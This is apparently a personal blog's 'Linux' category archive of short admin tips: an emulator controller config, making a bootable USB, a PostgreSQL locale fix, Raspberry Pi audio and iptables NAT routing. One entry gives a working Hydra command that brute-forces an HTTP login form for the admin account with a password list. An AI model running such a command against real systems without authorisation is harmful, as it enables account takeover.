Category Archives: Linux

Mupen64plus Add Controller on Ubuntu

Just to notice you that to add a controller for mupen64plus on Ubuntu you just have to find the name of your controller and then copy, paste, add and adjust the following with the good name in the file “/usr/share/games/mupen64plus/InputAutoCfg.ini” … Continue reading

Bootable Key

You can do it with a really easy way : Install the package syslinux Put your usb key and do not mount it and do : # isohybrid /path/to/file.iso # dd if=/path/to/file.iso of=/dev/sdX status=progress

postgresql LC_CTYPE error

When I was installing an app who used PostGreSQL I got this error : DataError: encoding “UTF8” does not match locale “en_US” DETAIL: The chosen LC_CTYPE setting requires encoding “LATIN1”. Here is the solution : /etc/init.d/postgresql-9.3 stop pg_dropcluster –stop 9.3 … Continue reading

Hydra Http Form Post

Just an example of brute force with Hydra and a post methode autentication. hydra 10.0.0.1 -f -l admin -P /home/user/passwd.txt -e nsr -vV http-form-post “/path/to/login?submit:username=^USER^&password=^PASS^:login_faile” -o /home/user/result.txt

RaspBerryPi Raspbian Analogic Sound

If you want to set the analogic sound output by default, just type as root : amixer cset numid=3 1

Activate Routing NAT Linux

Wan eth0, Lan eth1 type : echo 1 > /proc/sys/net/ipv4/ip_forward and : iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE iptables -A FORWARD -i eth0 -o eth1 -m state –state RELATED,ESTABLISHED -j ACCEPT iptables -A FORWARD -i eth1 -o … Continue reading